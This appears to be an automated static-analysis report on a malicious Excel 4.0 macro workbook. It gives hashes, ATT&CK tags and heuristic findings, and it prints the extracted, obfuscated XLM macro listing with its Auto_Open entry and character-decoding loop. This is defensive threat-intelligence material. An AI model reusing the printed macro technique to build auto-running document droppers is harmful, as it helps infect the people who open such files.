Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cf315fa89ffb381d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:10 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: b4250b16e5686416fe8c2c71a311bfce SHA-1: 5422ab0147400c7bc4073c56d772a4c28560d802 SHA-256: cf315fa89ffb381da12a07f5dbf90d14412238ebcc0c9ba9585e263a803fe1f9
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an Excel file containing Excel 4.0 (XLM) macros, indicated by critical heuristic firings for OLE_XLM_AUTOOPEN and OLE_XLM_DANGEROUS_FN. The presence of an 'Auto_Open' defined name suggests the macro is designed to execute automatically when the workbook is opened. This is a common technique for delivering secondary payloads, such as malware downloaders.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6835 bytes
SHA-256: 9c39675eb93b7367df4acbd64f46f93a5f07554e695a95c8b4960930275dbb29
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CaYgbBOaVt
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H135 
' 0018     26 LABEL : Cell Value, String Constant - cbawbwyOUnz len=0 
' 0018     21 LABEL : Cell Value, String Constant - cCiQoK len=0 
' 0018     26 LABEL : Cell Value, String Constant - ctoRpJMMXxa len=0 
' 0018     23 LABEL : Cell Value, String Constant - fQGpBQpw len=0 
' 0018     22 LABEL : Cell Value, String Constant - FyCLudi len=0 
' 0018     21 LABEL : Cell Value, String Constant - hFlPMz len=0 
' 0018     24 LABEL : Cell Value, String Constant - hxiOoQtNZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - IwzSNUNM len=0 
' 0018     23 LABEL : Cell Value, String Constant - JgAIKRno len=0 
' 0018     27 LABEL : Cell Value, String Constant - jGUYciwpUvFr len=0 
' 0018     25 LABEL : Cell Value, String Constant - KPiOSDisbG len=0 
' 0018     22 LABEL : Cell Value, String Constant - KqYjBEH len=0 
' 0018     27 LABEL : Cell Value, String Constant - LsnMFIPlDITt len=0 
' 0018     25 LABEL : Cell Value, String Constant - nIbOEVfKvg len=0 
' 0018     26 LABEL : Cell Value, String Constant - RfFDqzrVUis len=0 
' 0018     24 LABEL : Cell Value, String Constant - sYhzdbygY len=0 
' 0018     23 LABEL : Cell Value, String Constant - tqeAiBEC len=0 
' 0018     21 LABEL : Cell Value, String Constant - VqGtQn len=0 
' 0018     20 LABEL : Cell Value, String Constant - wciyq len=0 
' 0018     22 LABEL : Cell Value, String Constant - xCKarLA len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CaYgbBOaVt,H48,"SET.NAME("KqYjBEH",0+VALUE("0"))",""
'  CaYgbBOaVt,H52,"SET.NAME("jGUYciwpUvFr",KqYjBEH)",""
'  CaYgbBOaVt,H56,"SET.NAME("nIbOEVfKvg",KqYjBEH)",""
'  CaYgbBOaVt,H59,"SET.NAME("wciyq",COUNTA(hxiOoQtNZ))",""
'  CaYgbBOaVt,H62,"SET.NAME("ctoRpJMMXxa",COUNTA(RfFDqzrVUis))",""
'  CaYgbBOaVt,H64,[],""
'  CaYgbBOaVt,H68,"SET.NAME("hFlPMz","")",""
'  CaYgbBOaVt,H73,"jGUYciwpUvFr",""
'  CaYgbBOaVt,T75,"",-647.00000000000000000000
'  CaYgbBOaVt,T76,"",-40.00000000000000000000
'  CaYgbBOaVt,T77,"",-953.00000000000000000000
'  CaYgbBOaVt,H78,"SET.NAME("JgAIKRno",HLOOKUP("*",hxiOoQtNZ,jGUYciwpUvFr,FALSE))",""
'  CaYgbBOaVt,T78,"",948.00000000000000000000
'  CaYgbBOaVt,T79,"",-174.00000000000000000000
'  CaYgbBOaVt,T80,"",-146.00000000000000000000
'  CaYgbBOaVt,H81,"cCiQoK",""
'  CaYgbBOaVt,H85,"SET.NAME("tqeAiBEC",KqYjBEH)",""
'  CaYgbBOaVt,H87,[],""
'  CaYgbBOaVt,H89,"tqeAiBEC",""
'  CaYgbBOaVt,H92,"VqGtQn",""
'  CaYgbBOaVt,H94,"IwzSNUNM",""
'  CaYgbBOaVt,H97,"xCKarLA",""
'  CaYgbBOaVt,H99,"SET.NAME("KPiOSDisbG",VALUE(HLOOKUP("*",RfFDqzrVUis,xCKarLA,FALSE)))",""
'  CaYgbBOaVt,H102,"FyCLudi",""
'  CaYgbBOaVt,H105,"hFlPMz",""
'  CaYgbBOaVt,H110,"nIbOEVfKvg",""
'  CaYgbBOaVt,H115,NEXT(),""
'  CaYgbBOaVt,H117,"cbawbwyOUnz",""
'  CaYgbBOaVt,H121,[],""
'  CaYgbBOaVt,H125,"sYhzdbygY",""
'  CaYgbBOaVt,H128,NEXT(),""
'  CaYgbBOaVt,H133,RETURN(),""
'  CaYgbBOaVt,H160,"SET.NAME("LsnMFIPlDITt",H48)",""
'  CaYgbBOaVt,H163,"hxiOoQtNZ",""
'  CaYgbBOaVt,H165,"SET.NAME("RfFDqzrVUis",R53C15)",""
'  CaYgbBOaVt,H169,"SET.NAME("sYhzdbygY",178)",""
'  CaYgbBOaVt,H174,"SET.NAME("fQGpBQpw",8)",""
'  CaYgbBOaVt,H177,LsnMFIPlDITt(),""
'  CaYgbBOaVt,H178,HALT(),""